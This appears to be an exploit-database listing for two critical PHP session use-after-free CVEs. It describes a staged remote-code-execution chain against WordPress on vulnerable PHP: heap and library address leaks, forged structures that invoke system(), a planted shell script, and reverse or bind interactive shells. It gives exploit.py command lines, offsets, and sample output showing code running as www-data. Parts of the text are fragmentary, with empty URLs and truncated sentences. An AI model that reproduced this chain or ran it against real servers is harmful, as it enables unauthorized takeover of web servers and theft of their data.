Skip to content
Exploit for Improperly Controlled Sequential Memory Allocation in Php

Exploit for Improperly Controlled Sequential Memory Allocation in Php

Sploitus • October 26, 2026

| **CVE** | [CVE-2026-109618]( [CVE-2026-109619]( |

| **Severity** | CVSS v4.0 **9.2 (Critical)** each |

| **Class** | Use-after-free / stale-pointer (CWE-416) in `ext/session/session.c` |

| **Root cause** | `longjmp()`/bailout on OOM and fatal errors leaves session state pointing at freed memory |

| **Affected** | PHP **5.4.0 → 8.5.11** |

| **Fixed in** | **8.2.35**, **8.3.36**, **8.4.27**, **8.5.12** (2026-10-21) |

| **Primary target** | **WordPress 7.1.2 / 7.1.3** on vulnerable `php:8.4.26-apache` |

The exploit is validated primarily against **WordPress 7.1.2 and 7.1.3**:

- The **WordPress application files** come from the official

`wordpress:-php8.4-apache` images — which themselves ship *fixed* PHP

8.4.27 — and are re-hosted on a **vulnerable `php:8.4.26-apache`** base image.

- The lab uses the **SQLite drop-in** (no MySQL) and enables **mod_rewrite**

- The bug fires during **PHP request startup**, before WordPress bootstraps, so

the CMS version is incidental: `/`, `/index.php`, and `/wp-login.php` are all

equally valid trigger points. A bare `` page in the same

webroot is attacked exactly the same way.

WordPress runs **with ASLR enabled** and the leak stages stay deterministic by

targeting a **plain PHP entry URL** (`/oomba_test.php`) instead of a WordPress

> The WP bootstrap perturbs the request-B heap layout — the leak failed

> **9+ consecutive runs** on `/`, versus first-attempt on the plain entry. This

> reproduces the earlier 7.1.3 path-dependence observation; future tests keep

A WordPress 7.1.3 build on **PHP 7.4.33** strands (the producer fires) but the

stage-1 leak never lands — `php_session_initialize` rejects the stale id

(`"session id is too long or contains illegal characters"`) before the

`reset_id` cookie path can url-encode it. The chain is therefore effective on

PHP 8.2–8.5, not "everything back to 5.4".

PHP parses RFC 1867 multipart bodies during request startup. The

`session.upload_progress` callback (`php_session_rfc1867_callback()` in

`ext/session/session.c`) keeps raw `zval*` pointers in the session `HashTable`

to track upload progress. If an upload stalls beyond

`session.upload_progress.min_freq` (default 1s), a later `FILE_DATA` event

re-runs session init, which frees that `HashTable` while the cached pointers

- **CVE-2026-109618** — an out-of-memory (`memory_limit`) hit bails out via

`longjmp()` and strands half-initialized state; mod_php then runs

`php_request_shutdown()` unconditionally and walks it.

- **CVE-2026-109619** — request-owned globals (`PS`/`EG`) outlive a bailout and

are dereferenced by the * * request handled by the same worker.

618 produces the strand; 619 consumes it via the stale `ps_globals` walk.

stage 0 rotate worker over HTTP -> prefork forks a fresh child (shared ASLR layout)

stage 1 Set-Cookie heap leak -> Zend MM chunk base

stage 2 Set-Cookie libphp leak -> libphp base (zval_ptr_dtor)

[chain] plant /tmp/sess_b -> arbitrary-length shell script

stage 3 fake-ref over http_session_vars -> pDestructor = zif_system => system(cmd)

1. **ASLR is defeated by leaks, not guessing** — prefork children one

address-space layout, so a pointer leaked by one request stays valid for the

2. **Stage 1** recovers the Zend MM chunk base from `Set-Cookie`; the filler

count is *derived* from the near-miss leak (`vxxxx…`).

3. **Stage 2** recovers `libphp.so` via a `zval_ptr_dtor` pointer in the

cookie, self-checking the offsets DB entry.

4. **Stage 3** overwrites `PS(http_session_vars)` with a forged

`zend_reference`, then drops a fake `HashTable` whose `pDestructor` is

`zif_system` — session teardown invokes `system(command)`.

Apache must be **prefork** with a **single worker** (`files/single.conf`), so

the producer and consumer requests land on the same child.

The `X-Powered-By` version picks a DB entry, which stage 2 then **self-validates**

against the leaked `zval_ptr_dtor` page-offset:

| PHP version | `zif_system` | `zval_ptr_dtor` |

| 7.4.33 | `0x335850` | `0x417D60` (stage-1 leak gated) |

`htdata` carrier offset: `0x690D8` (bookworm) / `0x6E0D8` (lab). Override via

`--zif-offset` / `--dtor-offset` / `--htdata-offset`.

# Start the lab (extracts WordPress webroots, plants /oomba_test.php, 4 targets)

# WordPress 7.1.2 through the plain entry URL — zero config:

python3 exploit.py -u \

--script '{ echo ===WP712_RCE; id; cat /var/www/html/wp-includes/version.php | grep wp_version; } >/out/pW' \

python3 exploit.py -u \

uid=33(www-data) gid=33(www-data) groups=33(www-data)

| `-u, --url` | *(required)* | Target PHP page, e.g. ` |

| `-c, --cmd` | *(auto)* | Command (`/out/p1`).

2. **`--script` / long `--cmd`** — planted into `/tmp/sess_b` through

`upload_progress` filename injection plus a mid-upload RST, then run as

`sh</tmp/sess_b` (exactly 14 bytes). No practical length limit.

3. **`--interactive-bind` / `--interactive-reverse`** — a line-mode interactive

shell (base64-packed PHP socket shell delivered via the session chain).

# Leak only — confirm the target leaks without firing stage 3:

python3 exploit.py -u --leak-only

# Probe only — derive memory_limit / post_max_size, no exploitation:

python3 exploit.py -u --probe-memory-limit

# reverse: the target calls back to the docker bridge IP

python3 exploit.py -u --interactive-reverse 172.17.0.1:4500

# bind: the payload listens on the target; exploit.py connects to the published port

python3 exploit.py -u --interactive-bind 4501

- **Build-pinned offsets** — `zif_system` / `zval_ptr_dtor` are per-`libphp.so`

build; the DB covers 8.4.26, 8.2.34, and 7.4.33. Anything else needs manual

measurement and `--zif-offset` / `--dtor-offset`.

- **PHP 7.4.33 is leak-gated** — the chain is effectively 8.2–8.5.

- **Strict config** — `display_errors=1`, a small `memory_limit`,

single-worker prefork, and `save_path=/tmp` (the 14-byte `sh</tmp/sess_b`

carrier does not fit distro `/var/lib/php/sessions`).

- **`NOT_STRANDABLE` targets** — if `memory_limit` ≥ `post_max_size`, no single

upload can OOM the target, so the strand can never be produced.

- **Already patched** — targets 8.4.26 / 8.2.34 / 7.4.33; inert against the

Extracted Entities